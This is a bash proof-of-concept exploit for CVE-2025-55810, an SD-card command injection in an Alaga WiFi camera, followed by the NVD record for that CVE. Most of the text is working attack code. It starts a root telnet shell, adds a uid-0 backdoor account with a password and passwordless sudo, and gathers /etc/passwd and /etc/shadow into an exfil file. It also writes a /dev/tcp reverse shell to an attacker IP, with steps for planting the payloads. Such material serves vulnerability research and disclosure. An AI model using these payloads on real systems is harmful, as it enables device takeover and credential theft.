CVE-2025-55810

#!/bin/bash # CVE-2025-55810 PoC - Alaga WiFi Camera SD Card Command Injection # Hardware: S-CW2503C-H (Hardware Version V03) # Firmware: 1.4.2 # This PoC creates a malicious script to be placed on SD card # Create the malicious script that will be executed as root cat > autorun.sh << 'EOF' #!/bin/sh # Enable telnet service on port 23 /usr/sbin/telnetd -l /bin/sh & # Create a backdoor user with root privileges echo "hacker:x:0:0:root:/root:/bin/sh" >> /etc/passwd echo "hacker:password123" | chpasswd # Add backdoor user to sudoers echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers # Exfiltrate system information cat /etc/passwd > /tmp/exfil.txt cat /etc/shadow >> /tmp/exfil.txt 2>/dev/null df -h >> /tmp/exfil.txt mount >> /tmp/exfil.txt # Log the exploitation echo "[$(date)] CVE-2025-55810 exploited" >> /tmp/.exploit_log EOF # Set executable permissions chmod +x autorun.sh # Alternative: Reverse shell payload cat > reverse_shell.sh << 'EOF' #!/bin/sh # Reverse shell to attacker controlled server ATTACKER_IP="192.168.1.100" ATTACKER_PORT="4444" /bin/sh -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1 & EOF chmod +x reverse_shell.sh echo "[!] PoC scripts created. Rename to device-expected filename and place on SD card." echo "[!] Insert SD card into Alaga Camera S-CW2503C-H" echo "[!] Wait for device to execute the script as root"

{"cve": {"id": "CVE-2025-55810", "sourceIdentifier": "[email protected]", "published": "2025-11-13T20:15:51.053", "lastModified": "2026-01-09T15:37:52.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Alaga Home Security WiFi Camera 3K (model S-CW2503C-H) with hardware version V03 and firmware version 1.4.2, which allows physical attackers to execute commands as root via script file with a specific name on a SD card."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:alagaai:s-cw2503c-h_firmware:1.4.2:*:*:*:*:*:*:*", "matchCriteriaId": "8802532D-46E9-4A29-94DE-05012D5588F0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:alagaai:s-cw2503c-h:03:*:*:*:*:*:*:*", "matchCriteriaId": "E9105A6B-8A3A-4BBA-8B85-F67682E05413"}]}]}], "references": [{"url": "https://www.alagaai.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.mgm-sp.com/privilege-escalation-vulnerability-in-alaga-home-security-wifi-camera", "source": "[email protected]", "tags": ["Broken Link"]}]}}